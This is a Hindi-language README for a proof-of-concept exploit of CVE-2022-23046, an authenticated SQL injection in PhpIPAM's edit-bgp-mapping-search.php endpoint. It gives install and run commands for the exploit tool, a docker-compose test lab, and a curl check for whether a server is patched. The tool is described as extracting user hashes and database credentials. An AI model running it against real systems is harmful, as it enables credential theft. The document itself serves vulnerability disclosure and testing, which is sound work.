
CVE-2022-23046 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, PhpIPAM v1.4.4 में एक प्रमाणित SQL इंजेक्शन। edit-bgp-mapping-search.php एंडपॉइंट के माध्यम से सर्वर जानकारी, SMTP सेटिंग्स, उपयोगकर्ता हैश और डेटाबेस क्रेडेंशियल्स निकालता है।
मूल खोज और मैन्युअल PoC Fluidattacks से है:
PhpIPAM v1.4.4 एक प्रमाणित एडमिन उपयोगकर्ता को app/admin/routing/edit-bgp-mapping-search.php के माध्यम से सबनेट खोजते समय "subnet" पैरामीटर में SQL वाक्य इंजेक्ट करने की अनुमति देता है।
यह PoC निम्नलिखित जानकारी प्राप्त करने के लिए कुछ आसान SQLi निष्पादित करता है:
इनमें से कुछ बैकएंड के माध्यम से सुलभ हैं, लेकिन मैंने इसे यहाँ सभी जानकारी एक ही क्वेरी में प्राप्त करने का एक आसान तरीका के रूप में जोड़ा है। अपने स्वयं के पेलोड जोड़ने/हटाने के लिए स्वतंत्र महसूस करें।
अधिक उन्नत सामग्री के लिए, अपने स्वयं के पेलोड (res.payloads में) बनाएँ, burpsuite का उपयोग करें या sqlmap का उपयोग करें।
git clone https://github.com/jcarabantes/CVE-2022-23046.git
python -m venv venv
source venv/bin/activate
pip install -r requirements.txt
python CVE-2022-23046.py -h
version: '3'
services:
phpipam-web:
image: phpipam/phpipam-www:v1.4.3
ports:
- "8888:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- IPAM_DATABASE_WEBHOST=%
restart: unless-stopped
volumes:
- phpipam-logo:/phpipam/css/images/logo
depends_on:
- phpipam-mariadb
phpipam-cron:
image: phpipam/phpipam-cron:latest
ports:
- "8889:80"
environment:
- TZ=Europe/London
- IPAM_DATABASE_HOST=phpipam-mariadb
- IPAM_DATABASE_PASS=my_secret_phpipam_pass
- SCAN_INTERVAL=1h
restart: unless-stopped
depends_on:
- phpipam-mariadb
phpipam-mariadb:
image: mariadb:latest
environment:
- MYSQL_ROOT_PASSWORD=my_secret_mysql_root_pass
restart: unless-stopped
volumes:
- phpipam-db-data:/var/lib/mysql
volumes:
phpipam-db-data:
phpipam-logo:
python CVE-2022-23046.py -h
___ _ _ ____ ___ ___ ___ ___ ___ ___ ___ __ _
/ __)( \/ )( ___)___(__ \ / _ \(__ \ (__ \ ___(__ \ (__ ) / _ \ /. | / )
( (__ \ / )__)(___)/ _/( (_) )/ _/ / _/(___)/ _/ (_ \( (_) )(_ _)/ _ \
\___) \/ (____) (____)\___/(____)(____) (____)(___/ \___/ (_) \___/
Vulnerability discovered by Oscar Uribe
PoC author: @javicarabantes
usage: CVE-2022-23046.py [-h] [-d] [-q] --url URL --user USER
optional arguments:
-h, --help show this help message and exit
-d Debug output
-q Do not print the banner
--url URL phpipam url: https://ipamserver:8081/
--user USER admin user
python CVE-2022-23046.py --url http://localhost:8888/ --user admin

मैंने इस PoC का परीक्षण विभिन्न phpipam संस्करणों 1.4.3, 1.4.4 और 1.5 में किया है, जो ठीक काम करते हैं (केवल < 1.4.5 ही नहीं)। phpipam GitHub प्रोजेक्ट की जाँच करने पर मैंने देखा कि कमिट 4b764b9cb236d1a4a06fc8ad9a93b306b3f5c04d ने संस्करण 1.5 को भी प्रभावित किया।
जाँचें कि क्या CHANGELOG सुलभ है और इसमें इस फिक्स के बारे में टिप्पणी है, अन्यथा phpipam सर्वर कमजोर हो सकता है।
curl -sk https://phpipamserver/misc/CHANGELOG | grep "edit-bgp-mapping-search.php"